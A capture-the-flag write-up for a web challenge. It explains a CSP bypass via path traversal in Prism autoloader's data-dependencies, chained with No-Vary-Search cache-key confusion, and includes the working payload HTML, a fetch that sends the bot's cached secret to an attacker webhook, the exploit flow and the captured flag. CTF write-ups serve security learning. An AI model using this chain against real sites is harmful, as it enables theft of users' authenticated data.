dont-worry
CSP bypass via path traversal in the Prism autoloader's `data-dependencies`, chained with `No-Vary-Search` cache-key confusion to replay the bot's authenticated response
NNS{A_Wi53_6uy_fR0M_5omewH3r3_f4r_noR7H_0nCe_tolD_M3:_d0n7_WoRry_ab0ut_i7} FLAG: NNS{A_Wi53_6uy_fR0M_5omewH3r3_f4r_noR7H_0nCe_tolD_M3:_d0n7_WoRry_ab0ut_i7}
The two bugs (chained)
1. CSP bypass — Prism autoloader data-dependencies injection
reader.js does doc.innerHTML = data.body then Prism.highlightAllUnder(doc).
<script> inserted via innerHTML does NOT execute (this is what blocked the earlier
attempt), but welcome.html loads prism-autoloader, whose “complete” hook reads the
data-dependencies attribute off the highlighted element and concatenates each entry
straight into a script URL with no validation:
s.src = languages_path + "prism-" + dep + ".min.js" // dep fully attacker-controlled
document.body.appendChild(s) // dynamic insert => EXECUTES
Path traversal in dep retargets it anywhere same-origin (CSP script-src 'self' OK).
/raw/<id> serves Content-Type: text/javascript when the doc’s language is
javascript, so it passes nosniff as a script.
Payload doc body (5x ../ because prism- glues to the first ..):
<pre><code class="language-css"
data-dependencies="../../../../../raw/<JSDOC>?key=<JSKEY>&">a{}</code></pre>
resolves to /raw/<JSDOC>?key=<JSKEY>&.min.js (trailing .min.js lands harmlessly in
the query string).
2. Reading the flag — No-Vary-Search cache-key confusion
The real vuln. Server-side key check is airtight (no bypass exists). But:
- successful
GET /api/documents/<id>?key=<correct>->cache-control: private, max-age=5(only the 403s areno-store— the earlier notes wrongly assumed no-store everywhere) - every response carries
no-vary-search: params, except=("view"), which tells the browser cache to ignore ALL query params exceptviewwhen matching — includingkey
So the bot’s own authenticated fetch (?key=<uuid>&view=editor) leaves a cache entry
matched by (path, view) alone. fetch(url, {cache:'force-cache'}) serves a cached entry
regardless of freshness, so the 5s max-age vs the bot’s 15s sleep doesn’t matter.
fetch('/api/documents/welcome?key=x&view=editor', {cache:'force-cache'})
.then(r=>r.json()).then(d=>fetch(WEBHOOK+'?flag='+encodeURIComponent(d.body)))
view=editor is required (it’s the one param that still varies the cache key —
?key=x and ?key=x&view=reader both returned forbidden). connect-src * allows exfil.
Flow
- doc A:
language=javascript, body = payload JS above - doc B:
language=none, body = thedata-dependenciestraversal HTML pointing at doc A - submit
/d/<B>#<keyB>to the admin bot
Verified end-to-end locally first by PUTting a fake flag into welcome with a known key,
loading /e/welcome#key in one tab, closing it, then opening the exploit in a fresh tab.